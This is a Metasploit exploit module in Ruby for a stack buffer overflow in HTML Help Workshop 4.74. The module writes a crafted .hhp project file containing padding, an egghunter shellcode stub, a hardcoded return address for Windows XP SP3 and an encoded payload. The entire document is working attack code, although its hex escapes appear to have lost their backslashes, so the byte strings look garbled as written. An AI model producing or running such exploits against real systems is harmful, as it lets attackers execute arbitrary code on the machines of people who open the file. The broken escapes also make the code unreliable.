require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT
        
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow Exploit',
			'Description'    => %q{
					This module exploits a stack overflow in HTML Help Workshop 4.74
					By creating a specially crafted hhp file, an an attacker may be able
					to execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'loneferret, original by Encrypt3d.M!nd' ],
			'Version'        => '$Revision: 7724 $',
			'References'     =>
				[
					[ 'URL', 'http://www.exploit-db.com/exploits/10321' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},					
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "x00",
					'StackAdjustment' => -4800,
				},
			'Platform' => 'win',
			'Targets'        => 
				[
					[ 'Windows XP English SP3', { 'Ret' => 0x00401F93 } ], # CALL EDI  x93x1fx40x00
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Dec 05 2009',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME',   [ false, 'The file name.',  'Devil.hhp']),
				], self.class)

	end

	def exploit

		sploit = "x5Bx4Fx50x54x49x4Fx4Ex53x5Dx0Dx0Ax43x6Fx6Ex74x65"
		sploit << "x6Ex74x73x20x66x69x6Cx65x3Dx41x0Dx0Ax49x6Ex64x65x78x20x66x69x6Cx65x3D"
		sploit << "x41" * 224
		sploit << "x66x81xCAxFFx0Fx42x52x6Ax02x58xCDx2Ex3Cx05x5Ax74xEFxB8x69x72x61x71x8BxFAxAFx75xEAxAFx75xE7xFFxE7"
		sploit << "x42" * 24
		sploit << [target.ret].pack('V')
		sploit << "x0dx0ax0dx0a"
		sploit << "x5Bx46x49x4Cx45x53x5Dx0D"
		sploit << "x0dx0a"
		sploit << "x41" * 16
		sploit << "x69x72x61x71x69x72x61x71"
		sploit << payload.encoded
		sploit << "x41" * 4000
 
		hhp = sploit

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(hhp)
	end

end